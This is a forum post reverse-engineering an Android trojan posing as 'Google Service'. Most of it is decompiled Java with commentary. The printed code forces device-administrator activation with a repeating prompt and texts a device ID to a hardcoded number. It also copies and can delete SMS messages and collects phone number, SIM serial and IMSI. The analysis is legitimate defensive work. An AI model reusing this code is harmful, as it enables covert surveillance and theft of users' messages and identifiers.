吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 41383|回复: 60
收起左侧

[移动样本分析] 对恶意APP"Google Server"的逆向分析

  [复制链接]
wnagzihxain 发表于 2016-7-13 22:32
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 wnagzihxain 于 2016-7-22 11:05 编辑

忘了什么时候收到的样本了,加了混淆,不过慢慢分析都能分析出来,没有涉及到so的逆向

报告名称:对恶意APP”Google Service”的逆向分析                                               
作者:wnagzihxain                                                     
报告更新日期:2016.7.13
样本发现日期:不详                                    
样本类型:短信拦截                                          
样本文件大小/被感染文件变化长度:   
样本文件MD5 校验值:               
样本文件SHA1 校验值:            
壳信息:无                                                   
可能受到威胁的系统:安卓                  
相关漏洞:安卓设备管理器漏洞                                                
已知检测名称:无

Application类优先于 Activity执行,一般来说,可以在这里执行一些初始化操作,还有些全局变量可以放在这里
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.google.process.locations;
  
import android.app.Application;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.os.Build$VERSION;
import java.util.List;
  
public class GoogleApplication extends Application {
    public static GoogleApplication GoogleApplication_this;
    public static String String_id;
    public static String String_model;
    public static boolean sp_Boolean_mode;
    public static boolean Boolean_b_notuse;
    public static boolean Boolean_c;  // 信号量
    public static boolean Boolean_sharedpreferences_send;
    public static boolean Boolean_e;
  
    public GoogleApplication() {
        super();
    }
  
    public static String get_RunningTasks_TopActivity(Context context) {
        String String_Result;
        List List_RunningTask = context.getSystemService("activity").getRunningTasks(1);
        if(!List_RunningTask.isEmpty()) {
            ComponentName object_componentname = List_RunningTask.get(0).topActivity;
            if(!object_componentname.getPackageName().equals(context.getPackageName())) {
                String_Result = object_componentname.getPackageName();
            }
            else {
                goto label_15;
            }
        }
        else {
        label_15:
            String_Result = null;
        }
  
        return String_Result;
    }
  
    private void Registe_Receiver_startGLServer() {
        Receiver_startGLServer receiver_startGLServer = new Receiver_startGLServer();
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.TIME_TICK"));  // 每分钟
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_ON"));  // 开屏幕
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.SCREEN_OFF"));  // 关屏幕
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.BATTERY_CHANGED"));  // 电量变化
        this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), new IntentFilter("android.intent.action.CONFIGURATION_CHANGED"));  // 配置变化
    }
  
    private void Init_sharedpreferences_mode() {
        SharedPreferences sharedpreferences = this.getSharedPreferences("app_preferences", 0);  // 读取配置
        GoogleApplication.sp_Boolean_mode = sharedpreferences.getBoolean("mode", false);  // 获取mode键值,不存在则返回false
        if((GoogleApplication.sp_Boolean_mode) && Build$VERSION.SDK_INT > 18) {
            GoogleApplication.sp_Boolean_mode = false;
            sharedpreferences.edit().putBoolean("mode", GoogleApplication.sp_Boolean_mode).commit();
        }
    }
  
    public void onCreate() {
        super.onCreate();
        GoogleApplication.GoogleApplication_this = this;
        my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(  // 崩溃处理
                this.getApplicationContext());
        this.Init_sharedpreferences_mode();
        this.Registe_Receiver_startGLServer();
    }
}
找到onCreate()方法

这是处理崩溃的,一般开发里常用的处理兼容性的写法
[Java] 纯文本查看 复制代码
1
my_Thread_UncaughtExceptionHandler.get_my_Thread_UncaughtExceptionHandler().setDefaultUncaughtExceptionHandler(this.getApplicationContext());
跟过去看看
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
packagecom.google.process.locations;
import android.content.Context;
importandroid.content.pm.PackageInfo;
import android.content.pm.PackageManager$NameNotFoundException;
import android.os.Build;
import android.os.Process;
import java.lang.reflect.Field;
import java.util.Properties;
public classmy_Thread_UncaughtExceptionHandler implements Thread$UncaughtExceptionHandler {
    private staticmy_Thread_UncaughtExceptionHandler my_Thread_UncaughtExceptionHandler_this;
    private Context context;
    private Thread$UncaughtExceptionHandlerThread_UncaughtExceptionHandler_this;
    private Properties object_properties;
    privatemy_Thread_UncaughtExceptionHandler() {
        super();
        this.object_properties = newProperties();
    }
    public staticmy_Thread_UncaughtExceptionHandler get_my_Thread_UncaughtExceptionHandler() {
        if(my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this== null) {
           my_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this= new my_Thread_UncaughtExceptionHandler();
        }
        returnmy_Thread_UncaughtExceptionHandler.my_Thread_UncaughtExceptionHandler_this;
    }
    private boolean a(Throwableobject_Throwable) {
        if(object_Throwable != null) {
            this.b(this.context);
        }
        return 1;
    }
    public voidsetDefaultUncaughtExceptionHandler(Context context) {
        this.context = context;
       this.Thread_UncaughtExceptionHandler_this =Thread.getDefaultUncaughtExceptionHandler();
       Thread.setDefaultUncaughtExceptionHandler(((Thread$UncaughtExceptionHandler)this));
    }
    public void b(Context context) {
        try {
            PackageInfo object_PackageInfo =context.getPackageManager().getPackageInfo(context.getPackageName(),
                    1);
            if(object_PackageInfo == null) {
                goto label_16;
            }
            Properties v2 =this.object_properties;
            String String_versionName ="versionName";
            String v0_1 =object_PackageInfo.versionName == null ? "not set" :object_PackageInfo.versionName;
            v2.put(String_versionName, v0_1);
           this.object_properties.put("versionCode",Integer.valueOf(object_PackageInfo.versionCode));
        }
       catch(PackageManager$NameNotFoundException v0) {
        }
    label_16:
        Field[] v1_1 = Build.class.getDeclaredFields();
        int v2_1 = v1_1.length;
        int i;
        for(i = 0; i < v2_1; ++i) {
            Field object_field_temp = v1_1;
            try {
               object_field_temp.setAccessible(true);
                this.object_properties.put(object_field_temp.getName(),object_field_temp.get(null));
            }
            catch(Exception v3_2) {
            }
        }
    }
    public void uncaughtException(Thread arg2,Throwable arg3) {
        if((this.a(arg3)) ||this.Thread_UncaughtExceptionHandler_this == null) {
           Process.killProcess(Process.myPid()); // kill掉Process然后会重启
            System.exit(10);
        }
        else {
           this.Thread_UncaughtExceptionHandler_this.uncaughtException(arg2, arg3);
        }
    }
}
关键的地方就是killProcess,这个方法在killProcess后会重启APP

其它地方的代码都很常规,没有什么好看的,继续看Application里的代码

初始化sp文件里的mode键值
[Java] 纯文本查看 复制代码
1
this.Init_sharedpreferences_mode();
这个键值非常关键,影响了后面很多的代码逻辑

先获取mode键值,不存在则返回false,,接下来进行判断,如果SDK_INK大于18modetrue则将mode写入sp文件,值为false,这个ifAPP第一次运行的时候不会运行

因为第一次运行不存在mode键值,所以为false,唯一的可能就是在后面的代码逻辑中会有将mode置为true的代码并且写入了sp文件,但是在后面的代码中并没有将mode置为true并写入sp文件的相关代码

所以这个if是不会执行的,所以不管哪一次启动,mode的初始值都是false
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
private voidInit_sharedpreferences_mode() {
        SharedPreferences sharedpreferences =this.getSharedPreferences("app_preferences", 0);  // 读取配置
        GoogleApplication.sp_Boolean_mode =sharedpreferences.getBoolean("mode", false);  // 获取mode键值,不存在则返回false
        if((GoogleApplication.sp_Boolean_mode)&& Build$VERSION.SDK_INT > 18) {
            GoogleApplication.sp_Boolean_mode =false;
            sharedpreferences.edit().putBoolean("mode",GoogleApplication.sp_Boolean_mode).commit();
        }
}
然后注册一个服务
[Java] 纯文本查看 复制代码
1
this.Registe_Receiver_startGLServer();
方式为动态注册,Action为:每分钟,开屏幕,关屏幕,电量变化,手机配置变化
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
private voidRegiste_Receiver_startGLServer() {
        Receiver_startGLServerreceiver_startGLServer = new Receiver_startGLServer();
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.TIME_TICK"));  // 每分钟
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_ON"));  // 开屏幕
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.SCREEN_OFF"));  // 关屏幕
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.BATTERY_CHANGED"));  // 电量变化
       this.registerReceiver(((BroadcastReceiver)receiver_startGLServer), newIntentFilter("android.intent.action.CONFIGURATION_CHANGED")); // 配置变化
}
来看Receiver_startGLServer()GoogleApplication.Boolean_b_notuse这个变量在全局都只有被赋值的语句,并没有参与任何逻辑判断或者作为数据发送出去,所以核心代码就是启动GoogleLocationService.class
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class Receiver_startGLServerextends BroadcastReceiver {
    public Receiver_startGLServer() {
        super();
    }
    public void onReceive(Context context,Intent intent) {
       if(intent.getAction().equals("android.intent.action.TIME_TICK")){
            GoogleApplication.Boolean_b_notuse= true;
        }
        context.startService(newIntent(context, GoogleLocationService.class));
    }
}
既然GoogleLocationService这个Service这么重要,那就好好的分析一下

找到关键的四个方法,这四个方法是常规service都会有的,在第一次启动这个service的时候会先执行onCreate()里的代码,然后执行onStartCommand()里的代码

这两个方法不同的地方在于初次启动service的时候会先执行onCreate(),然后执行onStartCommand()方法,而启动了service之后,再次启动service的时候只会执行onStartCommand()方法

onBind()方法这里没有使用就不讲了,onDestroy()是结束service时执行的代码
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public IBinder onBind(Intent intent) {
        return null;
    }
 
    public void onCreate() {
        Intent intent = new Intent(this.getApplicationContext(), GoogleLocationService.class);
        this.object_AlarmManager = this.getSystemService("alarm");
        this.object_PendingIntent = PendingIntent.getService(((Context)this), 0, intent, 268435456);
        this.object_AlarmManager.setInexactRepeating(1, System.currentTimeMillis(), 5000, this.object_PendingIntent);
        super.onCreate();
        this.onCreate_Continue();
    }
 
    public void onDestroy() {
        if(this.thread != null) {
            this.thread.interrupt();
        }
        super.onDestroy();
    }
 
    public int onStartCommand(Intent intent, int arg4, int arg5) {
        if(!GoogleApplication.Boolean_e) {
            if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
                this.Start_Runnable_Confirm_ActiveAdmin();
            }
        }
        else if(this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)) {
            this.object_DevicePolicyManager.removeActiveAdmin(this.object_ComponentName);
        }
        else {
            this.Uninstall_itself();
        }
        if(GoogleApplication.String_id == null) {
            this.Init_sharedpreferences_id_model();
        }
        else {
            if(!GoogleApplication.Boolean_c) {
                Class_i.get_NewFileSend(((Context)this));
            }
            GoogleApplication.Boolean_b_notuse = false;
            this.Start_Thread_e();
        }
 
        return 1;
    }

一个个看过去,先来看onCreate()

这些都不重要
[Java] 纯文本查看 复制代码
1
2
3
4
5
Intent intent = newIntent(this.getApplicationContext(), GoogleLocationService.class);
this.object_AlarmManager =this.getSystemService("alarm");
this.object_PendingIntent =PendingIntent.getService(((Context)this), 0, intent, 268435456);
this.object_AlarmManager.setInexactRepeating(1,System.currentTimeMillis(), 5000, this.object_PendingIntent);
super.onCreate();
重要的是最后一句
[Java] 纯文本查看 复制代码
1
this.onCreate_Continue();
跟过去
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
private voidonCreate_Continue() {
        this.object_DevicePolicyManager =this.getSystemService("device_policy");
        this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
        this.Start_Runnable_Confirm_ActiveAdmin();
       this.Init_sharedpreferences_id_model(); // 初始化sharedpreferences的id和model键值,存在就获取,不存在则创建
        this.RegisteSMSContentObserver();  // 注册短信监控
       this.StoreHistorySMSmessage(false); // 获取之前的短信并存储在本地
        this.StoreInformationofPhone(false);  // 获取手机信息并存储在本地
}
一句一句来看,这是一个确定激活的Runnable
[Java] 纯文本查看 复制代码
1
this.Start_Runnable_Confirm_ActiveAdmin();
开了个线程执行Runnable_Confirm_ActiveAdmin
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
private voidStart_Runnable_Confirm_ActiveAdmin() {
        if(this.thread == null) {
            this.thread = new Thread(newRunnable_Confirm_ActiveAdmin(this));
            this.thread.start();
        }
}
跟过去

当获取了设备管理器就跳出while,否则会一直在while里循环,而循环的内容则是执行call_Confirm_ActiveAdmin_InActivity()
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
packagecom.google.process.locations;
classRunnable_Confirm_ActiveAdmin implements Runnable {
   Runnable_Confirm_ActiveAdmin(GoogleLocationService arg1) {
        this.GoogleLocationService_this = arg1;
        super();
    }
    public void run() {
       while(!GoogleLocationService.get_object_DevicePolicyManager(this.GoogleLocationService_this).isAdminActive(GoogleLocationService.get_object_ComponentName(this.GoogleLocationService_this))){
            String String_RunningTasks_TopActivityName=GoogleApplication.get_RunningTasks_TopActivity(GoogleApplication.GoogleApplication_this);
           if(String_RunningTasks_TopActivityName == null ||!String_RunningTasks_TopActivityName.equals("com.android.settings")){
                GoogleLocationService.call_Confirm_ActiveAdmin_InActivity(this.GoogleLocationService_this);
            }
            long sleep_time = 300;
            try {
                Thread.sleep(sleep_time);
                continue;
            }
            catch(InterruptedException v0_2) {
                return;
            }
        }
    }
}
看一下call_Confirm_ActiveAdmin_InActivity()
[Java] 纯文本查看 复制代码
1
2
3
static void call_Confirm_ActiveAdmin_InActivity(GoogleLocationServiceGoogleLocationService_this) {
        GoogleLocationService_this.Confirm_ActiveAdmin_InActivity();
}
关键还是Confirm_ActiveAdmin_InActivity()
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.KeyEvent;
public classConfirm_ActiveAdmin_InActivity extends Activity {
    private ComponentName object_ComponentName;
    private DevicePolicyManagerobject_DevicePolicyManager;
    public Confirm_ActiveAdmin_InActivity() {
        super();
    }
    private void ActiveAdmin() {
        this.object_DevicePolicyManager =this.getSystemService("device_policy");
        this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
       if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
            Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
           intent.putExtra("android.app.extra.DEVICE_ADMIN", this.object_ComponentName);
            this.startActivity(intent);
        }
    }
    private voidStartService_GoogleLocationService() {
        this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
    }
    public void onAttachedToWindow() {
        this.getWindow().setType(2004);
        super.onAttachedToWindow();
    }
    protected void onCreate(Bundle arg3) {
        super.onCreate(arg3);
        this.getWindow().setFlags(-2147483648,-2147483648);
        this.ActiveAdmin();
       this.StartService_GoogleLocationService();
        this.finish();
    }
    public boolean onKeyDown(int arg2, KeyEventarg3) {
        boolean Boolean_Result = arg2 == 3 ?true : super.onKeyDown(arg2, arg3);
        return Boolean_Result;
    }
}
作用很简单,就是隐式意图开启激活设备管理器,不管激活没有,直接开启GoogleLocationService,综合一下来看,如果激活这个分支就不会执行,如果没有激活那么会一直弹出激活窗口,即使关掉了也会打开

激活的部分就是这样,正常情况下只有激活才能退出那个窗口

然后会初始化sharedpreferencesidmodel键值,存在就获取,不存在则创建
[Java] 纯文本查看 复制代码
1
this.Init_sharedpreferences_id_model();
如果String_idString_model任意一个为空,则进入if语句执行,现从sp文件获取idmodelkey的键值,然后进行判断,key的值是idmodel等数据进行md5计算得出的

这里还有对key的判断,如果key的值不对或者idmodel为空,执行Create_sharedpreferences_id(),再执行Prompt(),然后再获取model的值,接着进行key的计算,最后将idmodelkey写入sp文件
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
private voidInit_sharedpreferences_id_model() {
        String String_NULL = null;
        if(GoogleApplication.String_id == null|| GoogleApplication.String_model == null) {
            SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
            String int_id =object_SharedPreferences.getString("id", String_NULL);
            String int_model =object_SharedPreferences.getString("model", String_NULL);
            String int_key =object_SharedPreferences.getString("key", String_NULL);
            if(int_id == null || int_model ==null || int_key == null || !Class_i.get_MD5(String.valueOf(int_id) + int_model+ "app").equals(int_key)) {
                int_id =Class_i.Create_sharedpreferences_id(((Context)this));
                this.Prompt(int_id);
                int_model =Class_i.get_Build_MODEL();
                int_key =Class_i.get_MD5(String.valueOf(int_id) + int_model + "app");
                SharedPreferences$EditorSharedPreferences_Editor = object_SharedPreferences.edit();
               SharedPreferences_Editor.putString("id", int_id);
               SharedPreferences_Editor.putString("model", int_model);
               SharedPreferences_Editor.putString("key", int_key);
               SharedPreferences_Editor.commit();
            }
            GoogleApplication.String_id =int_id;
            GoogleApplication.String_model =int_model;
        }
}
来看Create_sharedpreferences_id()方法

获取了一大堆手机的信息,然后算md5
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static StringCreate_sharedpreferences_id(Context context) {
        MessageDigest object_MessageDigest;
        String object_String =String.valueOf(context.getSystemService("phone").getDeviceId()) +("35"
                 + Build.BOARD.length() % 10 +Build.BRAND.length() % 10 + Build.CPU_ABI.length() %
                10 + Build.DEVICE.length() % 10+ Build.DISPLAY.length() % 10 + Build.HOST.length() %
                10 + Build.ID.length() % 10 +Build.MANUFACTURER.length() % 10 + Build.MODEL.length()
                 % 10 + Build.PRODUCT.length()% 10 + Build.TAGS.length() % 10 + Build.TYPE.length()
                 % 10 + Build.USER.length() %10) + Settings$Secure.getString(context.getContentResolver(),
                "android_id") +context.getSystemService("wifi").getConnectionInfo().getMacAddress();
        try {
            object_MessageDigest =MessageDigest.getInstance("MD5");
        }
        catch(NoSuchAlgorithmException v0_1) {
            MessageDigest object_MessageDigest= object_MessageDigest;
            return object_String;
        }
       object_MessageDigest.update(object_String.getBytes(), 0,object_String.length());
        byte[] ByteArray_temp =object_MessageDigest.digest();
        String String_Result = new String();
        int i;
        for(i = 0; i <ByteArray_temp.length; ++i) {
            int int_temp = ByteArray_temp& 255;
            if(int_temp <= 15) {
                String_Result =String.valueOf(String_Result) + "0";
            }
            String_Result =String.valueOf(String_Result) + Integer.toHexString(int_temp);
        }
        return String_Result.toUpperCase();
}
Prompt()方法就是将获取到的id发送给木马作者
[Java] 纯文本查看 复制代码
1
2
3
void Prompt(String messageText){
       SmsManager.getDefault().sendTextMessage("18839763762", null,messageText, null, null);
    }
然后get_MD5()
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
public static final Stringget_MD5(String arg5) {
        try {
            byte[] ByteArray_1 = arg5.getBytes("utf-8");
            MessageDigest object_MessageDigest= MessageDigest.getInstance("MD5");
           object_MessageDigest.update(ByteArray_1);
            byte[]ByteArray_object_MessageDigest = object_MessageDigest.digest();
            StringBufferobject_StringBuffer_Result = new StringBuffer();
            int i;
            for(i = 0; i <ByteArray_object_MessageDigest.length; ++i) {
                int int_temp =ByteArray_object_MessageDigest & 255;
                if(int_temp < 16) {
                    object_StringBuffer_Result.append("0");
                }
               object_StringBuffer_Result.append(Integer.toHexString(int_temp));
            }
            Stringobject_StringBuffer_Result_toString = object_StringBuffer_Result.toString();
            returnobject_StringBuffer_Result_toString;
        }
        catch(Exception v0) {
            return "";
        }
}
接着注册短信监控
[Java] 纯文本查看 复制代码
1
this.RegisteSMSContentObserver();
主要代码在这里ContentObserver_SMS
[Java] 纯文本查看 复制代码
1
2
3
private voidRegisteSMSContentObserver() {
       this.getContentResolver().registerContentObserver(Uri.parse("content://sms/"),true, new ContentObserver_SMS(this, new Handler()));
}
跟过去
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
packagecom.google.process.locations;
importandroid.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import org.json.JSONException;
import org.json.JSONObject;
class ContentObserver_SMSextends ContentObserver {
    private Cursor b;
    publicContentObserver_SMS(GoogleLocationService arg2, Handler arg3) {
        this.GoogleLocationService_this = arg2;
        super(arg3);
        this.b = null;
    }
    public void onChange(boolean arg9) {
        super.onChange(arg9);
        Cursor object_cursor =this.GoogleLocationService_this.getContentResolver().query(Uri.parse("content://sms/"),new String
                []{"_id","address", "person", "body", "date","type"}, null, null, "_id desc");
        if(object_cursor.getCount() > 0&& (object_cursor.moveToFirst())) {
            int int_address_Index =object_cursor.getColumnIndex("address");
            int int_body_Index =object_cursor.getColumnIndex("body");
            int int_date_Index =object_cursor.getColumnIndex("date");
            int int_type_Index = object_cursor.getColumnIndex("type");
            String String_sourceAddress =object_cursor.getString(int_address_Index);
            String String_body =object_cursor.getString(int_body_Index);
            String String_date =object_cursor.getString(int_date_Index);
            int_type_Index =object_cursor.getInt(int_type_Index);
            JSONObject object_jsonobject = newJSONObject();
            try {
               object_jsonobject.put("number", String_sourceAddress);
                object_jsonobject.put("time",String_date);
               object_jsonobject.put("body", String_body);
               object_jsonobject.put("type", int_type_Index);
                if(int_type_Index % 2 == 1&& (GoogleApplication.sp_Boolean_mode)) {
                    Class_i.Delete_SMSmessage(this.GoogleLocationService_this.getApplicationContext(),String_body);
                }
               Class_i.CopyStoreNewSMSmessage(this.GoogleLocationService_this, 4,object_jsonobject);
            }
            catch(JSONException v1_2) {
            }
        }
        object_cursor.close();
    }
}
当短信数量变化的时候,会有两个方法被执行Delete_SMSmessage(),CopyStoreNewSMSmessage()

第一个方法会在if里判断,一个是收发类型,另一个是mode的键值,mode的键值只会在后面一个地方被设置为true,并且要求SDK_INT不大于18

但是还是来看一下
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
public static voidDelete_SMSmessage(Context context, String arg7) {
        try {
            Cursor object_cursor =context.getContentResolver().query(Uri.parse("content://sms/inbox"),null, "read=0", null, null);
            while(object_cursor.moveToNext()) {
               if(!object_cursor.getString(object_cursor.getColumnIndex("body")).trim().equals(arg7)){
                    continue;
                }
               context.getContentResolver().delete(Uri.parse("content://sms"),"_id=" + object_cursor.getInt(object_cursor.getColumnIndex("_id")),null);
            }
            return;
        }
        catch(Exception v0) {
            return;
        }
}
然后就是存储短信了,这个方法是一定会执行的
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
public static voidCopyStoreNewSMSmessage(Context context, int arg7, JSONObjectobject_jsonobject_param) {
        try {
            long Long_currenttime =System.currentTimeMillis();
            String String_currenttime = newStringBuilder(String.valueOf(Long_currenttime)).toString();
            JSONObject object_jsonobject = newJSONObject();
           object_jsonobject.put("id", GoogleApplication.String_id);
           object_jsonobject.put("model",GoogleApplication.String_model);
            object_jsonobject.put("time",Long_currenttime);
           object_jsonobject.put("type", arg7);
           object_jsonobject.put("data", object_jsonobject_param);
            FileOutputStreamobject_FileOutputStream = context.openFileOutput(String_currenttime, 0);
           object_FileOutputStream.write(object_jsonobject.toString().getBytes());
            object_FileOutputStream.flush();
            object_FileOutputStream.close();
        }
        catch(Exception v0) {
        }
}
短信监控的代码就这些,继续看onCreate_Continue()的代码

获取之前的短信并存储在本地
[Java] 纯文本查看 复制代码
1
this.StoreHistorySMSmessage(false);
history键值判断是否存储过历史短信
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
private void StoreHistorySMSmessage(booleanarg15) {
        SharedPreferences object_SharedPreferences= this.getSharedPreferences("app_preferences", 0);
        booleanBoolean_sharedpreferences_history =object_SharedPreferences.getBoolean("history", false);  // 使用history键值来判断是否发送过历史短信
        if((arg15) ||!Boolean_sharedpreferences_history) {
            JSONArray object_JSONArray = newJSONArray();
            try {
                Cursor object_cursor =this.getContentResolver().query(Uri.parse("content://sms/"), newString[]{"_id", "address", "person","body", "date", "type"}, null, null, "datedesc");
               if(!object_cursor.moveToFirst()) {
                    goto label_74;
                }
                int sms_address_Index =object_cursor.getColumnIndex("address");
                int sms_body_Index =object_cursor.getColumnIndex("body");
                int sms_date_Index =object_cursor.getColumnIndex("date");
                int sms_type_Index =object_cursor.getColumnIndex("type");
                do {
                label_51:
                    String sms_SourceAddress =object_cursor.getString(sms_address_Index);
                    String sms_Body =object_cursor.getString(sms_body_Index);
                    String sms_Date =object_cursor.getString(sms_date_Index);
                    String sms_Type =object_cursor.getString(sms_type_Index);
                    JSONObjectobject_jsonobject = new JSONObject();
                    try {
                       object_jsonobject.put("number", sms_SourceAddress);
                       object_jsonobject.put("time", sms_Date);
                       object_jsonobject.put("body", sms_Body);
                       object_jsonobject.put("type", sms_Type);
                       object_JSONArray.put(object_jsonobject);
                    }
                    catch(JSONException v5_1) {
                    }
                    break;
                }
                while(true);
            }
            catch(SQLiteException v0_1) {
                goto label_74;
            }
            try {
                if(object_cursor.moveToNext()){
                    goto label_51;
                }
                JSONObject object_jsonobject =new JSONObject();
                try {
                   object_jsonobject.put("body", object_JSONArray);
                   Class_i.CopyStoreNewSMSmessage(((Context)this), 3, object_jsonobject);
                }
                catch(JSONException v0_4) {
                }
            }
            catch(SQLiteException v0_1) {
            }
        label_74:
           object_SharedPreferences.edit().putBoolean("history",true).commit();
        }
    }
获取手机信息并存储在本地
[Java] 纯文本查看 复制代码
1
this.StoreInformationofPhone(false);
num的键值是用于判断是否获取过手机信息,除非arg11true,也就是木马作者人工获取

同时mode在这也作为条件进行判断,当sp_modefalsemode1sp_modetruemode2,然后存储在本地,最后将Boolean_sharedpreferences_send置为true
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private voidStoreInformationofPhone(boolean arg11) {
        int v0_4;
        int v1 = 2;
        SharedPreferencesobject_SharedPreferences =this.getSharedPreferences("app_preferences", 0);
        boolean Boolean_sharedpreferences_num =object_SharedPreferences.getBoolean("num", false);
        if((arg11) ||!Boolean_sharedpreferences_num) {
            Object object_Phone =this.getSystemService("phone");
           if(((TelephonyManager)object_Phone).getSimState() == 5) {
                String PhoneNumber =((TelephonyManager)object_Phone).getLine1Number();  // 手机号
                String SimSerialNumber =((TelephonyManager)object_Phone).getSimSerialNumber();  // SIM卡的序列号
                String SubscriberId =((TelephonyManager)object_Phone).getSubscriberId();  // 唯一的用户ID
                String Build_VERSION_SDK_INT =new StringBuilder(String.valueOf(Build$VERSION.SDK_INT)).toString();  // SDK版本
                String Build_VERSION_RELEASE =Build$VERSION.RELEASE;  // 系统版本
                JSONObject object_JSONObject =new JSONObject();
                try {
                   object_JSONObject.put("tel", PhoneNumber);
                   object_JSONObject.put("imei", SimSerialNumber);
                   object_JSONObject.put("imsi", SubscriberId);
                   object_JSONObject.put("sdk", Build_VERSION_SDK_INT);
                   object_JSONObject.put("release", Build_VERSION_RELEASE);
                    PhoneNumber ="mode";
                   if(GoogleApplication.sp_Boolean_mode) {
                        v0_4 = v1;
                    }
                    else {
                        goto label_51;
                    }
                    goto label_39;
                }
                catch(JSONException v0_3) {
                    goto label_54;
                }
            label_51:
               v0_4 = 1;
                try {
                label_39:
                   object_JSONObject.put(PhoneNumber, v0_4);
                   Class_i.CopyStoreNewSMSmessage(((Context)this), 2, object_JSONObject);
                }
                catch(JSONException v0_3) {
                label_54:
                }
               object_SharedPreferences.edit().putBoolean("num",true).commit();
            }
        }
        if(!arg11) {
            GoogleApplication.Boolean_sharedpreferences_send= object_SharedPreferences.getBoolean("send", true);
        }
}
到这结束了onCreate()方法,总结一下:先进性设备管理器的激活,如果未激活就一直弹出激活界面,用户激活后就会进行初始化idmodel的操作,并根据idmodel生产md5

三个值一起存储在本地,初始化了之后进行注册短信监控,有新短信的时候就会复制下来并存储在本地,并根据mode的键值确定要不要删除,接着是获取之前的短信,存储在本地

最后获取手机的信息存储在本地,最后两个方法会根据historynum键值进行判断,如果为true说明已经获取过了就不会再执行

